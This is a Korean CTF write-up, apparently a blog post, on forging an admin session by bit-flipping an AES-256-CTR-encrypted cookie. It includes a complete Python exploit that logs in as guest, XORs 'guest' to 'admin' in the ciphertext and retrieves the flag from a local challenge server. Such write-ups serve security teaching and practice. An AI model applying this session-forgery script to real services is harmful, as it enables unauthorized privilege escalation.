1. 개요
aes-256-ctr 문제, 세션 조작 문제
2. 분석
주석에 적힌대로 guest/guestpassword 를 입력하면 로그인됩니다.
코드를 보면 aes-256-ctr을 사용해서 세션을 생성하고 있고, 세션 생성에서 username을 꺼내옵니다.
- ctr - XOR 연산을 사용
- 세션에는 username이 포함됨(예: 'guest', 'admin')
3. exploit
- guest/guestpassword 로 로그인 후 세션을 받습니다.
- 세션에서 'guest' 가 포함된 부분을 'admin'으로 바꿉니다. XOR이 적용되었기 때문에 복호화 가능합니다.
- ex) 'a'에 적용된 ctr 암호화 결과 = 'g'에 적용된 암호화 결과 ^ 'g' ^ 'a'
- 세션을 바꿔서 플래그를 얻어옵니다.
import re
from base64 import b64decode, b64encode
from urllib.parse import unquote, quote
import requests
def login() -> str:
data = {
'username': 'guest',
'password': 'guestpassword'
}
s = requests.Session()
s.post("http://localhost:35357/signin.php", data=data)
session_data = s.cookies.get_dict()
return session_data['SESSION']
def edit_session_to_admin(session: str) -> str:
base64decoded = b64decode(unquote(session))
iv, session_data = base64decoded.split(b'|', 1)
session_data = list(session_data)
for i, (guest_byte, admin_byte) in enumerate(zip(b'guest', b'admin')):
session_data[i] = session_data[i] ^ guest_byte ^ admin_byte
new_session = quote(b64encode(iv + b'|' + bytes(session_data)))
return new_session
def get_flag(session: str) -> str:
s = requests.Session()
s.cookies.set('SESSION', session)
r = s.get("http://localhost:35357/index.php")
pattern = re.compile('<br>Flag: ([a-zA-Z0-9_{}]+) </p>')
flag = re.search(pattern, r.text).group(1)
return flag
if __name__ == '__main__':
guest_session = login()
print('guest_session', guest_session)
admin_session = edit_session_to_admin(guest_session)
print('admin_session', admin_session)
flag = get_flag(admin_session)
print('flag', flag)
'CTF' 카테고리의 다른 글
[SECCON - Beginners_CTF_2021] osoba (0) | 2023.05.28 |
---|---|
[SECCON - Beginners_CTF_2021] werewolf (0) | 2023.05.28 |
[SCTF 2022] Imageium (0) | 2023.05.20 |
[SCTF 2022] DocxArchive (0) | 2023.05.20 |
[SCTF 2022] Yet Another Injection (0) | 2023.05.20 |